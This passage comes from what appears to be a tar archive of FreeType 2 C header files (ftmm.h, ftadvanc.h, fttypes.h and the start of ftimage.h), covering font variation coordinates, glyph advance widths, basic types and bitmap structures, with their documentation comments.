@FT_FACE_FLAG_VARIATION bit in @FT_Face's `face_flags' */ /* field (i.e., @FT_IS_VARIATION will return true). If `num_coords' */ /* is zero, this bit flag gets unset. */ /* */ FT_EXPORT( FT_Error ) FT_Set_MM_Design_Coordinates( FT_Face face, FT_UInt num_coords, FT_Long* coords ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Set_Var_Design_Coordinates */ /* */ /* <Description> */ /* Choose an interpolated font design through design coordinates. */ /* */ /* This function works with all supported variation formats. */ /* */ /* <InOut> */ /* face :: A handle to the source face. */ /* */ /* <Input> */ /* num_coords :: The number of available design coordinates. If it */ /* is larger than the number of axes, ignore the excess */ /* values. If it is smaller than the number of axes, */ /* use default values for the remaining axes. */ /* */ /* coords :: An array of design coordinates. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* [Since 2.8.1] To reset all axes to the default values, call the */ /* function with `num_coords' set to zero and `coords' set to NULL. */ /* [Since 2.9] `Default values' means the currently selected named */ /* instance (or the base font if no named instance is selected). */ /* */ /* [Since 2.9] If `num_coords' is larger than zero, this function */ /* sets the @FT_FACE_FLAG_VARIATION bit in @FT_Face's `face_flags' */ /* field (i.e., @FT_IS_VARIATION will return true). If `num_coords' */ /* is zero, this bit flag gets unset. */ /* */ FT_EXPORT( FT_Error ) FT_Set_Var_Design_Coordinates( FT_Face face, FT_UInt num_coords, FT_Fixed* coords ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Get_Var_Design_Coordinates */ /* */ /* <Description> */ /* Get the design coordinates of the currently selected interpolated */ /* font. */ /* */ /* This function works with all supported variation formats. */ /* */ /* <Input> */ /* face :: A handle to the source face. */ /* */ /* num_coords :: The number of design coordinates to retrieve. If it */ /* is larger than the number of axes, set the excess */ /* values to~0. */ /* */ /* <Output> */ /* coords :: The design coordinates array. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Since> */ /* 2.7.1 */ /* */ FT_EXPORT( FT_Error ) FT_Get_Var_Design_Coordinates( FT_Face face, FT_UInt num_coords, FT_Fixed* coords ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Set_MM_Blend_Coordinates */ /* */ /* <Description> */ /* Choose an interpolated font design through normalized blend */ /* coordinates. */ /* */ /* This function works with all supported variation formats. */ /* */ /* <InOut> */ /* face :: A handle to the source face. */ /* */ /* <Input> */ /* num_coords :: The number of available design coordinates. If it */ /* is larger than the number of axes, ignore the excess */ /* values. If it is smaller than the number of axes, */ /* use default values for the remaining axes. */ /* */ /* coords :: The design coordinates array (each element must be */ /* between 0 and 1.0 for Adobe MM fonts, and between */ /* -1.0 and 1.0 for TrueType GX and OpenType variation */ /* fonts). */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* [Since 2.8.1] To reset all axes to the default values, call the */ /* function with `num_coords' set to zero and `coords' set to NULL. */ /* [Since 2.9] `Default values' means the currently selected named */ /* instance (or the base font if no named instance is selected). */ /* */ /* [Since 2.9] If `num_coords' is larger than zero, this function */ /* sets the @FT_FACE_FLAG_VARIATION bit in @FT_Face's `face_flags' */ /* field (i.e., @FT_IS_VARIATION will return true). If `num_coords' */ /* is zero, this bit flag gets unset. */ /* */ FT_EXPORT( FT_Error ) FT_Set_MM_Blend_Coordinates( FT_Face face, FT_UInt num_coords, FT_Fixed* coords ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Get_MM_Blend_Coordinates */ /* */ /* <Description> */ /* Get the normalized blend coordinates of the currently selected */ /* interpolated font. */ /* */ /* This function works with all supported variation formats. */ /* */ /* <Input> */ /* face :: A handle to the source face. */ /* */ /* num_coords :: The number of normalized blend coordinates to */ /* retrieve. If it is larger than the number of axes, */ /* set the excess values to~0.5 for Adobe MM fonts, and */ /* to~0 for TrueType GX and OpenType variation fonts. */ /* */ /* <Output> */ /* coords :: The normalized blend coordinates array. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Since> */ /* 2.7.1 */ /* */ FT_EXPORT( FT_Error ) FT_Get_MM_Blend_Coordinates( FT_Face face, FT_UInt num_coords, FT_Fixed* coords ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Set_Var_Blend_Coordinates */ /* */ /* <Description> */ /* This is another name of @FT_Set_MM_Blend_Coordinates. */ /* */ FT_EXPORT( FT_Error ) FT_Set_Var_Blend_Coordinates( FT_Face face, FT_UInt num_coords, FT_Fixed* coords ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Get_Var_Blend_Coordinates */ /* */ /* <Description> */ /* This is another name of @FT_Get_MM_Blend_Coordinates. */ /* */ /* <Since> */ /* 2.7.1 */ /* */ FT_EXPORT( FT_Error ) FT_Get_Var_Blend_Coordinates( FT_Face face, FT_UInt num_coords, FT_Fixed* coords ); /*************************************************************************/ /* */ /* <Enum> */ /* FT_VAR_AXIS_FLAG_XXX */ /* */ /* <Description> */ /* A list of bit flags used in the return value of */ /* @FT_Get_Var_Axis_Flags. */ /* */ /* <Values> */ /* FT_VAR_AXIS_FLAG_HIDDEN :: */ /* The variation axis should not be exposed to user interfaces. */ /* */ /* <Since> */ /* 2.8.1 */ /* */ #define FT_VAR_AXIS_FLAG_HIDDEN 1 /*************************************************************************/ /* */ /* <Function> */ /* FT_Get_Var_Axis_Flags */ /* */ /* <Description> */ /* Get the `flags' field of an OpenType Variation Axis Record. */ /* */ /* Not meaningful for Adobe MM fonts (`*flags' is always zero). */ /* */ /* <Input> */ /* master :: The variation descriptor. */ /* */ /* axis_index :: The index of the requested variation axis. */ /* */ /* <Output> */ /* flags :: The `flags' field. See @FT_VAR_AXIS_FLAG_XXX for */ /* possible values. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Since> */ /* 2.8.1 */ /* */ FT_EXPORT( FT_Error ) FT_Get_Var_Axis_Flags( FT_MM_Var* master, FT_UInt axis_index, FT_UInt* flags ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Set_Named_Instance */ /* */ /* <Description> */ /* Set or change the current named instance. */ /* */ /* <Input> */ /* face :: A handle to the source face. */ /* */ /* instance_index :: The index of the requested instance, starting */ /* with value 1. If set to value 0, FreeType */ /* switches to font access without a named */ /* instance. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* The function uses the value of `instance_index' to set bits 16-30 */ /* of the face's `face_index' field. It also resets any variation */ /* applied to the font, and the @FT_FACE_FLAG_VARIATION bit of the */ /* face's `face_flags' field gets reset to zero (i.e., */ /* @FT_IS_VARIATION will return false). */ /* */ /* For Adobe MM fonts (which don't have named instances) this */ /* function simply resets the current face to the default instance. */ /* */ /* <Since> */ /* 2.9 */ /* */ FT_EXPORT( FT_Error ) FT_Set_Named_Instance( FT_Face face, FT_UInt instance_index ); /* */ FT_END_HEADER #endif /* FTMM_H_ */ /* END */ freetype2/freetype/ftadvanc.h 0000644 00000024614 15246445047 0012255 0 ustar 00 /***************************************************************************/ /* */ /* ftadvanc.h */ /* */ /* Quick computation of advance widths (specification only). */ /* */ /* Copyright 2008-2018 by */ /* David Turner, Robert Wilhelm, and Werner Lemberg. */ /* */ /* This file is part of the FreeType project, and may only be used, */ /* modified, and distributed under the terms of the FreeType project */ /* license, LICENSE.TXT. By continuing to use, modify, or distribute */ /* this file you indicate that you have read the license and */ /* understand and accept it fully. */ /* */ /***************************************************************************/ #ifndef FTADVANC_H_ #define FTADVANC_H_ #include <ft2build.h> #include FT_FREETYPE_H #ifdef FREETYPE_H #error "freetype.h of FreeType 1 has been loaded!" #error "Please fix the directory search order for header files" #error "so that freetype.h of FreeType 2 is found first." #endif FT_BEGIN_HEADER /************************************************************************** * * @section: * quick_advance * * @title: * Quick retrieval of advance values * * @abstract: * Retrieve horizontal and vertical advance values without processing * glyph outlines, if possible. * * @description: * This section contains functions to quickly extract advance values * without handling glyph outlines, if possible. * * @order: * FT_Get_Advance * FT_Get_Advances * */ /*************************************************************************/ /* */ /* <Const> */ /* FT_ADVANCE_FLAG_FAST_ONLY */ /* */ /* <Description> */ /* A bit-flag to be OR-ed with the `flags' parameter of the */ /* @FT_Get_Advance and @FT_Get_Advances functions. */ /* */ /* If set, it indicates that you want these functions to fail if the */ /* corresponding hinting mode or font driver doesn't allow for very */ /* quick advance computation. */ /* */ /* Typically, glyphs that are either unscaled, unhinted, bitmapped, */ /* or light-hinted can have their advance width computed very */ /* quickly. */ /* */ /* Normal and bytecode hinted modes that require loading, scaling, */ /* and hinting of the glyph outline, are extremely slow by */ /* comparison. */ /* */ #define FT_ADVANCE_FLAG_FAST_ONLY 0x20000000L /*************************************************************************/ /* */ /* <Function> */ /* FT_Get_Advance */ /* */ /* <Description> */ /* Retrieve the advance value of a given glyph outline in an */ /* @FT_Face. */ /* */ /* <Input> */ /* face :: The source @FT_Face handle. */ /* */ /* gindex :: The glyph index. */ /* */ /* load_flags :: A set of bit flags similar to those used when */ /* calling @FT_Load_Glyph, used to determine what kind */ /* of advances you need. */ /* <Output> */ /* padvance :: The advance value. If scaling is performed (based on */ /* the value of `load_flags'), the advance value is in */ /* 16.16 format. Otherwise, it is in font units. */ /* */ /* If @FT_LOAD_VERTICAL_LAYOUT is set, this is the */ /* vertical advance corresponding to a vertical layout. */ /* Otherwise, it is the horizontal advance in a */ /* horizontal layout. */ /* */ /* <Return> */ /* FreeType error code. 0 means success. */ /* */ /* <Note> */ /* This function may fail if you use @FT_ADVANCE_FLAG_FAST_ONLY and */ /* if the corresponding font backend doesn't have a quick way to */ /* retrieve the advances. */ /* */ /* A scaled advance is returned in 16.16 format but isn't transformed */ /* by the affine transformation specified by @FT_Set_Transform. */ /* */ FT_EXPORT( FT_Error ) FT_Get_Advance( FT_Face face, FT_UInt gindex, FT_Int32 load_flags, FT_Fixed *padvance ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Get_Advances */ /* */ /* <Description> */ /* Retrieve the advance values of several glyph outlines in an */ /* @FT_Face. */ /* */ /* <Input> */ /* face :: The source @FT_Face handle. */ /* */ /* start :: The first glyph index. */ /* */ /* count :: The number of advance values you want to retrieve. */ /* */ /* load_flags :: A set of bit flags similar to those used when */ /* calling @FT_Load_Glyph. */ /* */ /* <Output> */ /* padvance :: The advance values. This array, to be provided by the */ /* caller, must contain at least `count' elements. */ /* */ /* If scaling is performed (based on the value of */ /* `load_flags'), the advance values are in 16.16 format. */ /* Otherwise, they are in font units. */ /* */ /* If @FT_LOAD_VERTICAL_LAYOUT is set, these are the */ /* vertical advances corresponding to a vertical layout. */ /* Otherwise, they are the horizontal advances in a */ /* horizontal layout. */ /* */ /* <Return> */ /* FreeType error code. 0 means success. */ /* */ /* <Note> */ /* This function may fail if you use @FT_ADVANCE_FLAG_FAST_ONLY and */ /* if the corresponding font backend doesn't have a quick way to */ /* retrieve the advances. */ /* */ /* Scaled advances are returned in 16.16 format but aren't */ /* transformed by the affine transformation specified by */ /* @FT_Set_Transform. */ /* */ FT_EXPORT( FT_Error ) FT_Get_Advances( FT_Face face, FT_UInt start, FT_UInt count, FT_Int32 load_flags, FT_Fixed *padvances ); /* */ FT_END_HEADER #endif /* FTADVANC_H_ */ /* END */ freetype2/freetype/fttypes.h 0000644 00000105543 15246445047 0012166 0 ustar 00 /***************************************************************************/ /* */ /* fttypes.h */ /* */ /* FreeType simple types definitions (specification only). */ /* */ /* Copyright 1996-2018 by */ /* David Turner, Robert Wilhelm, and Werner Lemberg. */ /* */ /* This file is part of the FreeType project, and may only be used, */ /* modified, and distributed under the terms of the FreeType project */ /* license, LICENSE.TXT. By continuing to use, modify, or distribute */ /* this file you indicate that you have read the license and */ /* understand and accept it fully. */ /* */ /***************************************************************************/ #ifndef FTTYPES_H_ #define FTTYPES_H_ #include <ft2build.h> #include FT_CONFIG_CONFIG_H #include FT_SYSTEM_H #include FT_IMAGE_H #include <stddef.h> FT_BEGIN_HEADER /*************************************************************************/ /* */ /* <Section> */ /* basic_types */ /* */ /* <Title> */ /* Basic Data Types */ /* */ /* <Abstract> */ /* The basic data types defined by the library. */ /* */ /* <Description> */ /* This section contains the basic data types defined by FreeType~2, */ /* ranging from simple scalar types to bitmap descriptors. More */ /* font-specific structures are defined in a different section. */ /* */ /* <Order> */ /* FT_Byte */ /* FT_Bytes */ /* FT_Char */ /* FT_Int */ /* FT_UInt */ /* FT_Int16 */ /* FT_UInt16 */ /* FT_Int32 */ /* FT_UInt32 */ /* FT_Int64 */ /* FT_UInt64 */ /* FT_Short */ /* FT_UShort */ /* FT_Long */ /* FT_ULong */ /* FT_Bool */ /* FT_Offset */ /* FT_PtrDist */ /* FT_String */ /* FT_Tag */ /* FT_Error */ /* FT_Fixed */ /* FT_Pointer */ /* FT_Pos */ /* FT_Vector */ /* FT_BBox */ /* FT_Matrix */ /* FT_FWord */ /* FT_UFWord */ /* FT_F2Dot14 */ /* FT_UnitVector */ /* FT_F26Dot6 */ /* FT_Data */ /* */ /* FT_MAKE_TAG */ /* */ /* FT_Generic */ /* FT_Generic_Finalizer */ /* */ /* FT_Bitmap */ /* FT_Pixel_Mode */ /* FT_Palette_Mode */ /* FT_Glyph_Format */ /* FT_IMAGE_TAG */ /* */ /*************************************************************************/ /*************************************************************************/ /* */ /* <Type> */ /* FT_Bool */ /* */ /* <Description> */ /* A typedef of unsigned char, used for simple booleans. As usual, */ /* values 1 and~0 represent true and false, respectively. */ /* */ typedef unsigned char FT_Bool; /*************************************************************************/ /* */ /* <Type> */ /* FT_FWord */ /* */ /* <Description> */ /* A signed 16-bit integer used to store a distance in original font */ /* units. */ /* */ typedef signed short FT_FWord; /* distance in FUnits */ /*************************************************************************/ /* */ /* <Type> */ /* FT_UFWord */ /* */ /* <Description> */ /* An unsigned 16-bit integer used to store a distance in original */ /* font units. */ /* */ typedef unsigned short FT_UFWord; /* unsigned distance */ /*************************************************************************/ /* */ /* <Type> */ /* FT_Char */ /* */ /* <Description> */ /* A simple typedef for the _signed_ char type. */ /* */ typedef signed char FT_Char; /*************************************************************************/ /* */ /* <Type> */ /* FT_Byte */ /* */ /* <Description> */ /* A simple typedef for the _unsigned_ char type. */ /* */ typedef unsigned char FT_Byte; /*************************************************************************/ /* */ /* <Type> */ /* FT_Bytes */ /* */ /* <Description> */ /* A typedef for constant memory areas. */ /* */ typedef const FT_Byte* FT_Bytes; /*************************************************************************/ /* */ /* <Type> */ /* FT_Tag */ /* */ /* <Description> */ /* A typedef for 32-bit tags (as used in the SFNT format). */ /* */ typedef FT_UInt32 FT_Tag; /*************************************************************************/ /* */ /* <Type> */ /* FT_String */ /* */ /* <Description> */ /* A simple typedef for the char type, usually used for strings. */ /* */ typedef char FT_String; /*************************************************************************/ /* */ /* <Type> */ /* FT_Short */ /* */ /* <Description> */ /* A typedef for signed short. */ /* */ typedef signed short FT_Short; /*************************************************************************/ /* */ /* <Type> */ /* FT_UShort */ /* */ /* <Description> */ /* A typedef for unsigned short. */ /* */ typedef unsigned short FT_UShort; /*************************************************************************/ /* */ /* <Type> */ /* FT_Int */ /* */ /* <Description> */ /* A typedef for the int type. */ /* */ typedef signed int FT_Int; /*************************************************************************/ /* */ /* <Type> */ /* FT_UInt */ /* */ /* <Description> */ /* A typedef for the unsigned int type. */ /* */ typedef unsigned int FT_UInt; /*************************************************************************/ /* */ /* <Type> */ /* FT_Long */ /* */ /* <Description> */ /* A typedef for signed long. */ /* */ typedef signed long FT_Long; /*************************************************************************/ /* */ /* <Type> */ /* FT_ULong */ /* */ /* <Description> */ /* A typedef for unsigned long. */ /* */ typedef unsigned long FT_ULong; /*************************************************************************/ /* */ /* <Type> */ /* FT_F2Dot14 */ /* */ /* <Description> */ /* A signed 2.14 fixed-point type used for unit vectors. */ /* */ typedef signed short FT_F2Dot14; /*************************************************************************/ /* */ /* <Type> */ /* FT_F26Dot6 */ /* */ /* <Description> */ /* A signed 26.6 fixed-point type used for vectorial pixel */ /* coordinates. */ /* */ typedef signed long FT_F26Dot6; /*************************************************************************/ /* */ /* <Type> */ /* FT_Fixed */ /* */ /* <Description> */ /* This type is used to store 16.16 fixed-point values, like scaling */ /* values or matrix coefficients. */ /* */ typedef signed long FT_Fixed; /*************************************************************************/ /* */ /* <Type> */ /* FT_Error */ /* */ /* <Description> */ /* The FreeType error code type. A value of~0 is always interpreted */ /* as a successful operation. */ /* */ typedef int FT_Error; /*************************************************************************/ /* */ /* <Type> */ /* FT_Pointer */ /* */ /* <Description> */ /* A simple typedef for a typeless pointer. */ /* */ typedef void* FT_Pointer; /*************************************************************************/ /* */ /* <Type> */ /* FT_Offset */ /* */ /* <Description> */ /* This is equivalent to the ANSI~C `size_t' type, i.e., the largest */ /* _unsigned_ integer type used to express a file size or position, */ /* or a memory block size. */ /* */ typedef size_t FT_Offset; /*************************************************************************/ /* */ /* <Type> */ /* FT_PtrDist */ /* */ /* <Description> */ /* This is equivalent to the ANSI~C `ptrdiff_t' type, i.e., the */ /* largest _signed_ integer type used to express the distance */ /* between two pointers. */ /* */ typedef ft_ptrdiff_t FT_PtrDist; /*************************************************************************/ /* */ /* <Struct> */ /* FT_UnitVector */ /* */ /* <Description> */ /* A simple structure used to store a 2D vector unit vector. Uses */ /* FT_F2Dot14 types. */ /* */ /* <Fields> */ /* x :: Horizontal coordinate. */ /* */ /* y :: Vertical coordinate. */ /* */ typedef struct FT_UnitVector_ { FT_F2Dot14 x; FT_F2Dot14 y; } FT_UnitVector; /*************************************************************************/ /* */ /* <Struct> */ /* FT_Matrix */ /* */ /* <Description> */ /* A simple structure used to store a 2x2 matrix. Coefficients are */ /* in 16.16 fixed-point format. The computation performed is: */ /* */ /* { */ /* x' = x*xx + y*xy */ /* y' = x*yx + y*yy */ /* } */ /* */ /* <Fields> */ /* xx :: Matrix coefficient. */ /* */ /* xy :: Matrix coefficient. */ /* */ /* yx :: Matrix coefficient. */ /* */ /* yy :: Matrix coefficient. */ /* */ typedef struct FT_Matrix_ { FT_Fixed xx, xy; FT_Fixed yx, yy; } FT_Matrix; /*************************************************************************/ /* */ /* <Struct> */ /* FT_Data */ /* */ /* <Description> */ /* Read-only binary data represented as a pointer and a length. */ /* */ /* <Fields> */ /* pointer :: The data. */ /* */ /* length :: The length of the data in bytes. */ /* */ typedef struct FT_Data_ { const FT_Byte* pointer; FT_Int length; } FT_Data; /*************************************************************************/ /* */ /* <FuncType> */ /* FT_Generic_Finalizer */ /* */ /* <Description> */ /* Describe a function used to destroy the `client' data of any */ /* FreeType object. See the description of the @FT_Generic type for */ /* details of usage. */ /* */ /* <Input> */ /* The address of the FreeType object that is under finalization. */ /* Its client data is accessed through its `generic' field. */ /* */ typedef void (*FT_Generic_Finalizer)( void* object ); /*************************************************************************/ /* */ /* <Struct> */ /* FT_Generic */ /* */ /* <Description> */ /* Client applications often need to associate their own data to a */ /* variety of FreeType core objects. For example, a text layout API */ /* might want to associate a glyph cache to a given size object. */ /* */ /* Some FreeType object contains a `generic' field, of type */ /* FT_Generic, which usage is left to client applications and font */ /* servers. */ /* */ /* It can be used to store a pointer to client-specific data, as well */ /* as the address of a `finalizer' function, which will be called by */ /* FreeType when the object is destroyed (for example, the previous */ /* client example would put the address of the glyph cache destructor */ /* in the `finalizer' field). */ /* */ /* <Fields> */ /* data :: A typeless pointer to any client-specified data. This */ /* field is completely ignored by the FreeType library. */ /* */ /* finalizer :: A pointer to a `generic finalizer' function, which */ /* will be called when the object is destroyed. If this */ /* field is set to NULL, no code will be called. */ /* */ typedef struct FT_Generic_ { void* data; FT_Generic_Finalizer finalizer; } FT_Generic; /*************************************************************************/ /* */ /* <Macro> */ /* FT_MAKE_TAG */ /* */ /* <Description> */ /* This macro converts four-letter tags that are used to label */ /* TrueType tables into an unsigned long, to be used within FreeType. */ /* */ /* <Note> */ /* The produced values *must* be 32-bit integers. Don't redefine */ /* this macro. */ /* */ #define FT_MAKE_TAG( _x1, _x2, _x3, _x4 ) \ (FT_Tag) \ ( ( (FT_ULong)_x1 << 24 ) | \ ( (FT_ULong)_x2 << 16 ) | \ ( (FT_ULong)_x3 << 8 ) | \ (FT_ULong)_x4 ) /*************************************************************************/ /*************************************************************************/ /* */ /* L I S T M A N A G E M E N T */ /* */ /*************************************************************************/ /*************************************************************************/ /*************************************************************************/ /* */ /* <Section> */ /* list_processing */ /* */ /*************************************************************************/ /*************************************************************************/ /* */ /* <Type> */ /* FT_ListNode */ /* */ /* <Description> */ /* Many elements and objects in FreeType are listed through an */ /* @FT_List record (see @FT_ListRec). As its name suggests, an */ /* FT_ListNode is a handle to a single list element. */ /* */ typedef struct FT_ListNodeRec_* FT_ListNode; /*************************************************************************/ /* */ /* <Type> */ /* FT_List */ /* */ /* <Description> */ /* A handle to a list record (see @FT_ListRec). */ /* */ typedef struct FT_ListRec_* FT_List; /*************************************************************************/ /* */ /* <Struct> */ /* FT_ListNodeRec */ /* */ /* <Description> */ /* A structure used to hold a single list element. */ /* */ /* <Fields> */ /* prev :: The previous element in the list. NULL if first. */ /* */ /* next :: The next element in the list. NULL if last. */ /* */ /* data :: A typeless pointer to the listed object. */ /* */ typedef struct FT_ListNodeRec_ { FT_ListNode prev; FT_ListNode next; void* data; } FT_ListNodeRec; /*************************************************************************/ /* */ /* <Struct> */ /* FT_ListRec */ /* */ /* <Description> */ /* A structure used to hold a simple doubly-linked list. These are */ /* used in many parts of FreeType. */ /* */ /* <Fields> */ /* head :: The head (first element) of doubly-linked list. */ /* */ /* tail :: The tail (last element) of doubly-linked list. */ /* */ typedef struct FT_ListRec_ { FT_ListNode head; FT_ListNode tail; } FT_ListRec; /* */ #define FT_IS_EMPTY( list ) ( (list).head == 0 ) #define FT_BOOL( x ) ( (FT_Bool)( x ) ) /* concatenate C tokens */ #define FT_ERR_XCAT( x, y ) x ## y #define FT_ERR_CAT( x, y ) FT_ERR_XCAT( x, y ) /* see `ftmoderr.h' for descriptions of the following macros */ #define FT_ERR( e ) FT_ERR_CAT( FT_ERR_PREFIX, e ) #define FT_ERROR_BASE( x ) ( (x) & 0xFF ) #define FT_ERROR_MODULE( x ) ( (x) & 0xFF00U ) #define FT_ERR_EQ( x, e ) \ ( FT_ERROR_BASE( x ) == FT_ERROR_BASE( FT_ERR( e ) ) ) #define FT_ERR_NEQ( x, e ) \ ( FT_ERROR_BASE( x ) != FT_ERROR_BASE( FT_ERR( e ) ) ) FT_END_HEADER #endif /* FTTYPES_H_ */ /* END */ freetype2/freetype/ftimage.h 0000644 00000223630 15246445047 0012102 0 ustar 00 /***************************************************************************/ /* */ /* ftimage.h */ /* */ /* FreeType glyph image formats and default raster interface */ /* (specification). */ /* */ /* Copyright 1996-2018 by */ /* David Turner, Robert Wilhelm, and Werner Lemberg. */ /* */ /* This file is part of the FreeType project, and may only be used, */ /* modified, and distributed under the terms of the FreeType project */ /* license, LICENSE.TXT. By continuing to use, modify, or distribute */ /* this file you indicate that you have read the license and */ /* understand and accept it fully. */ /* */ /***************************************************************************/ /*************************************************************************/ /* */ /* Note: A `raster' is simply a scan-line converter, used to render */ /* FT_Outlines into FT_Bitmaps. */ /* */ /*************************************************************************/ #ifndef FTIMAGE_H_ #define FTIMAGE_H_ /* STANDALONE_ is from ftgrays.c */ #ifndef STANDALONE_ #include <ft2build.h> #endif FT_BEGIN_HEADER /*************************************************************************/ /* */ /* <Section> */ /* basic_types */ /* */ /*************************************************************************/ /*************************************************************************/ /* */ /* <Type> */ /* FT_Pos */ /* */ /* <Description> */ /* The type FT_Pos is used to store vectorial coordinates. Depending */ /* on the context, these can represent distances in integer font */ /* units, or 16.16, or 26.6 fixed-point pixel coordinates. */ /* */ typedef signed long FT_Pos; /*************************************************************************/ /* */ /* <Struct> */ /* FT_Vector */ /* */ /* <Description> */ /* A simple structure used to store a 2D vector; coordinates are of */ /* the FT_Pos type. */ /* */ /* <Fields> */ /* x :: The horizontal coordinate. */ /* y :: The vertical coordinate. */ /* */ typedef struct FT_Vector_ { FT_Pos x; FT_Pos y; } FT_Vector; /*************************************************************************/ /* */ /* <Struct> */ /* FT_BBox */ /* */ /* <Description> */ /* A structure used to hold an outline's bounding box, i.e., the */ /* coordinates of its extrema in the horizontal and vertical */ /* directions. */ /* */ /* <Fields> */ /* xMin :: The horizontal minimum (left-most). */ /* */ /* yMin :: The vertical minimum (bottom-most). */ /* */ /* xMax :: The horizontal maximum (right-most). */ /* */ /* yMax :: The vertical maximum (top-most). */ /* */ /* <Note> */ /* The bounding box is specified with the coordinates of the lower */ /* left and the upper right corner. In PostScript, those values are */ /* often called (llx,lly) and (urx,ury), respectively. */ /* */ /* If `yMin' is negative, this value gives the glyph's descender. */ /* Otherwise, the glyph doesn't descend below the baseline. */ /* Similarly, if `ymax' is positive, this value gives the glyph's */ /* ascender. */ /* */ /* `xMin' gives the horizontal distance from the glyph's origin to */ /* the left edge of the glyph's bounding box. If `xMin' is negative, */ /* the glyph extends to the left of the origin. */ /* */ typedef struct FT_BBox_ { FT_Pos xMin, yMin; FT_Pos xMax, yMax; } FT_BBox; /*************************************************************************/ /* */ /* <Enum> */ /* FT_Pixel_Mode */ /* */ /* <Description> */ /* An enumeration type used to describe the format of pixels in a */ /* given bitmap. Note that additional formats may be added in the */ /* future. */ /* */ /* <Values> */ /* FT_PIXEL_MODE_NONE :: */ /* Value~0 is reserved. */ /* */ /* FT_PIXEL_MODE_MONO :: */ /* A monochrome bitmap, using 1~bit per pixel. Note that pixels */ /* are stored in most-significant order (MSB), which means that */ /* the left-most pixel in a byte has value 128. */ /* */ /* FT_PIXEL_MODE_GRAY :: */ /* An 8-bit bitmap, generally used to represent anti-aliased glyph */ /* images. Each pixel is stored in one byte. Note that the number */ /* of `gray' levels is stored in the `num_grays' field of the */ /* @FT_Bitmap structure (it generally is 256). */ /* */ /* FT_PIXEL_MODE_GRAY2 :: */ /* A 2-bit per pixel bitmap, used to represent embedded */ /* anti-aliased bitmaps in font files according to the OpenType */ /* specification. We haven't found a single font using this */ /* format, however. */ /* */ /* FT_PIXEL_MODE_GRAY4 :: */ /* A 4-bit per pixel bitmap, representing embedded anti-aliased */ /* bitmaps in font files according to the OpenType specification. */ /* We haven't found a single font using this format, however. */ /* */ /* FT_PIXEL_MODE_LCD :: */ /* An 8-bit bitmap, representing RGB or BGR decimated glyph images */ /* used for display on LCD displays; the bitmap is three times */ /* wider than the original glyph image. See also */ /* @FT_RENDER_MODE_LCD. */ /* */ /* FT_PIXEL_MODE_LCD_V :: */ /* An 8-bit bitmap, representing RGB or BGR decimated glyph images */ /* used for display on rotated LCD displays; the bitmap is three */ /* times taller than the original glyph image. See also */ /* @FT_RENDER_MODE_LCD_V. */ /* */ /* FT_PIXEL_MODE_BGRA :: */ /* [Since 2.5] An image with four 8-bit channels per pixel, */ /* representing a color image (such as emoticons) with alpha */ /* channel. For each pixel, the format is BGRA, which means, the */ /* blue channel comes first in memory. The color channels are */ /* pre-multiplied and in the sRGB colorspace. For example, full */ /* red at half-translucent opacity will be represented as */ /* `00,00,80,80', not `00,00,FF,80'. See also @FT_LOAD_COLOR. */ /* */ typedef enum FT_Pixel_Mode_ { FT_PIXEL_MODE_NONE = 0, FT_PIXEL_MODE_MONO, FT_PIXEL_MODE_GRAY, FT_PIXEL_MODE_GRAY2, FT_PIXEL_MODE_GRAY4, FT_PIXEL_MODE_LCD, FT_PIXEL_MODE_LCD_V, FT_PIXEL_MODE_BGRA, FT_PIXEL_MODE_MAX /* do not remove */ } FT_Pixel_Mode; /* these constants are deprecated; use the corresponding `FT_Pixel_Mode' */ /* values instead. */ #define ft_pixel_mode_none FT_PIXEL_MODE_NONE #define ft_pixel_mode_mono FT_PIXEL_MODE_MONO #define ft_pixel_mode_grays FT_PIXEL_MODE_GRAY #define ft_pixel_mode_pal2 FT_PIXEL_MODE_GRAY2 #define ft_pixel_mode_pal4 FT_PIXEL_MODE_GRAY4 /*************************************************************************/ /* */ /* <Struct> */ /* FT_Bitmap */ /* */ /* <Description> */ /* A structure used to describe a bitmap or pixmap to the raster. */ /* Note that we now manage pixmaps of various depths through the */ /* `pixel_mode' field. */ /* */ /* <Fields> */ /* rows :: The number of bitmap rows. */ /* */ /* width :: The number of pixels in bitmap row. */ /* */ /* pitch :: The pitch's absolute value is the number of bytes */ /* taken by one bitmap row, including padding. */ /* However, the pitch is positive when the bitmap has */ /* a `down' flow, and negative when it has an `up' */ /* flow. In all cases, the pitch is an offset to add */ /* to a bitmap pointer in order to go down one row. */ /* */ /* Note that `padding' means the alignment of a */ /* bitmap to a byte border, and FreeType functions */ /* normally align to the smallest possible integer */ /* value. */ /* */ /* For the B/W rasterizer, `pitch' is always an even */ /* number. */ /* */ /* To change the pitch of a bitmap (say, to make it a */ /* multiple of 4), use @FT_Bitmap_Convert. */ /* Alternatively, you might use callback functions to */ /* directly render to the application's surface; see */ /* the file `example2.cpp' in the tutorial for a */ /* demonstration. */ /* */ /* buffer :: A typeless pointer to the bitmap buffer. This */ /* value should be aligned on 32-bit boundaries in */ /* most cases. */ /* */ /* num_grays :: This field is only used with */ /* @FT_PIXEL_MODE_GRAY; it gives the number of gray */ /* levels used in the bitmap. */ /* */ /* pixel_mode :: The pixel mode, i.e., how pixel bits are stored. */ /* See @FT_Pixel_Mode for possible values. */ /* */ /* palette_mode :: This field is intended for paletted pixel modes; */ /* it indicates how the palette is stored. Not */ /* used currently. */ /* */ /* palette :: A typeless pointer to the bitmap palette; this */ /* field is intended for paletted pixel modes. Not */ /* used currently. */ /* */ typedef struct FT_Bitmap_ { unsigned int rows; unsigned int width; int pitch; unsigned char* buffer; unsigned short num_grays; unsigned char pixel_mode; unsigned char palette_mode; void* palette; } FT_Bitmap; /*************************************************************************/ /* */ /* <Section> */ /* outline_processing */ /* */ /*************************************************************************/ /*************************************************************************/ /* */ /* <Struct> */ /* FT_Outline */ /* */ /* 